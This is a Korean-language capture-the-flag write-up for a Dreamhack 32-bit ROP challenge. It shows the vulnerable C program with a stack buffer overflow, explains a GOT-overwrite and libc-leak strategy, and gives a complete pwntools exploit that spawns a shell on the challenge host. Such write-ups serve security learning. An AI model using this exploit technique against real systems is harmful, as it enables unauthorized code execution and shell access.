#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
dreamhack에 basic_rop_x86 문제
checksec 결과
CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
카나리는 존재하지 않으니 카나리 우회를 하지 않아도 되며, NX 우회를 하면 된다.
먼저 오버플로우는 read(0, buf, 0x400) 여기 부분에서 일어난다.
우회를 위해 GOT OverWrite 기법으로 Put의 got을 Overwrite 할 것이다.
32bit 기법은 호출 뒤 스택을 정리하기 때문에 호출 뒤에 pop 가젯을 부른다
32bit는 pop 가젯의 레지스터가 상관이 없으므로 pop 가젯을 아무 가젯이나 부르면 된다
그리고 ASLR 우회를 위해 BSS 영역에 “/bin/sh” 문자열 저장
put got을 system 주소로 변경하고, put 호출 → system 호출
from pwn import *o
# p = process('./basic_rop_x86')
p = remote('host3.dreamhack.games', 15792)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
# 필요한 주소들
read_plt = e.plt['read']
read_got = e.got['read']
put_plt = e.plt['puts']
put_got = e.got['puts']
pop_ret = 0x0804868b #pop ebp ; ret
pop_pop_pop_ret = 0x08048689 # pop esi ; pop edi ; pop ebp ; ret
main = 0x080485d9
bss = e.bss()
# 익스플로잇
pay = b'A'*0x48
# put(read@got)
pay += p32(put_plt)
pay += p32(pop_ret) + p32(read_got)
# read(0, bss, 8)
pay += p32(read_plt)
pay += p32(pop_pop_pop_ret) + p32(0) + p32(bss) + p32(8)
# read(0, put@got, 4)
pay += p32(read_plt)
pay += p32(pop_pop_pop_ret) + p32(0) + p32(put_got) + p32(4)
# put("/bin/sh") -> system("/bin/sh")
pay += p32(put_plt) + b'AAAA' + p32(bss)
p.send(pay)
p.recvuntil(b'A'*0x40)
read = u32(p.recvn(4))
print(p32(read))
# read 함수로 lib base 구하고 system 주소 계산
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(b'/bin/sh\\x00')
p.sendline(p32(system))
p.interactive()